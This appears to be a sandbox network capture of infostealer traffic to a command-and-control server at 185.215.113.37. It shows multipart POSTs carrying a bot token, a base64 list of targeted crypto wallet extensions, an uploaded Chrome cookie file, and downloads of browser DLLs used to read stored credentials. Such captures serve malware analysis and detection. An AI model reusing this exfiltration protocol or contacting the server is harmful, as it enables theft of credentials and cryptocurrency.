Oct 24, 2024 04:57:07.697103024 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="message"plugins------GHCAAAAKJJDAKECBGIJE--
Oct 24, 2024 04:57:07.995260000 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 04:57:07.995361090 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 24, 2024 04:57:07.995418072 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 24, 2024 04:57:07.995455027 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 24, 2024 04:57:07.995490074 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 24, 2024 04:57:07.995527029 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 24, 2024 04:57:08.006428003 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="message"fplugins------AAEBAKKJKKEBKFIDBFBA--
Oct 24, 2024 04:57:08.293423891 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 04:57:08.317325115 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHD Host: 185.215.113.37 Content-Length: 7611 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:57:08.317411900 CEST	7611	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 04:57:09.129797935 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:09.421850920 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:09.706598043 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 24, 2024 04:57:09.706643105 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 24, 2024 04:57:09.706679106 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 24, 2024 04:57:14.010849953 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAA Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------EGIJEBGDAFHIJJKEHCAA--
Oct 24, 2024 04:57:14.806550026 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:14.946384907 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"------DHJECFCGHIDGHIDHDHIE--
Oct 24, 2024 04:57:15.731894016 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:16.896235943 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="file"------AFBAKKFCBFHIIEBGIDBG--
Oct 24, 2024 04:57:17.680959940 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:18.108660936 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:18.394027948 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 04:57:19.874334097 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:20.159287930 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 